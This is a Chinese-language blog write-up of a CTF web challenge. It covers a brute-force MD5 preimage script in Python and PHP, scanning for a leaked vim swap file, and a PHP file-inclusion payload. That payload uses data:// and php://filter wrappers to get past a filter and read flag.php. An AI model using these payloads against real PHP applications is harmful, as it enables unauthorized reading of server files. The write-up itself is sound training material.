Doc

解题过程如下

首先写脚本

爆破出md5,建议采用python或者php

#coding:utf-8
#python3
import hashlib
import time

t = time.time()
l = 'qwertyuiopasdfghjklzxcvbnm'
for i in l:
    for j in l:
        for k in l:
            for m in l:
                for n in l:
                    for o in l:
                        f = 'y' + i + j + k + m + n + o #+ p
                        md5 =  hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
                        if md5[:4] == '9d92' and md5[-4:] == 'b24e':
                            print(f)
                            print(md5)
                            print(time.time()-t)
<?php
$l = 'qwertyuiopasdfghjklzxcvbnm';
for ($i = 0 ; $i < 26 ; $i + = 1){
	for ($j = 0 ; $j < 26 ; $j + = 1){
		for ($k = 0 ; $k < 26 ; $k + = 1){
			for ($m = 0 ; $m < 26 ; $m + = 1){
				for ($n = 0 ; $n < 26 ; $n + = 1){
					for ( $o = 0 ; $o < 26 ; $o + = 1){
						$str = 'y'.$l[$i].$l[$j].$l[$k].$l[$m].$l[$n].$l[$o];
						$md5 = md5($str);
						if (substr($md5 , 0 , 4)==='9d92'){
							if (substr($md5 , -4) === 'b24e'){
								echo $md5.PHP_EOL;
								echo $str.PHP_EOL;
							}
						}
					}
				}
			}
		}
	}
}
echo "End~";
?>

爆出来的结果都是9d9208a0bda5b582cc5baffd5bf6b24e,明文是ytxyyds.

然后是扫描

在这里插入图片描述
用扫描器扫描一下,发现了一个flag.php

然后看到了这个
在这里插入图片描述

如果你的字典足够强大,应该能扫描到Login.php.swp,考点是vim文件泄露,或者是文件备份
好像火狐和谷歌展现出来的不太一样:
在这里插入图片描述
在这里插入图片描述

代码审计

接下来就是代码审计。简单还是很简单的,主要就是文件包含漏洞,绕过前两个检测就行,具体分析如下:

<?php
error_reporting(0);
echo "Flag in flag.php";
$text = $_GET["text"];             //接受text传参
$file = $_GET["file"];                //接受file传参
if(isset($text)&&!preg_match("/php:\/\/input/i",$text)&&(file_get_contents($text,'r')==="YTXyyds")){         //text中不允许出现"php://",读取text的文件的内容要为YTXyyds
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    include($file);       //在这里进行文件包含 
}

?>

想要让file_get_contents($text,'r')的内容变为YTXyyds可以采用两种PHP伪协议,一种是php://input,另一种是data://text,由于这里过滤了php://input,所以采用

?text=data://text/plain,YTXyyds

file的话就很简单了,只是普通的文件读取,用php://filter/read=convert.base64-encode/resource=就行。总结出payload:

?text=data://text/plain,YTXyyds&file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述
考核的时候动态flag看不到这个flag,以此纪念 /手动示爱 23333333

posted @ 2020-10-11 17:06  WakeUpp  阅读(210)  评论(0编辑  收藏  举报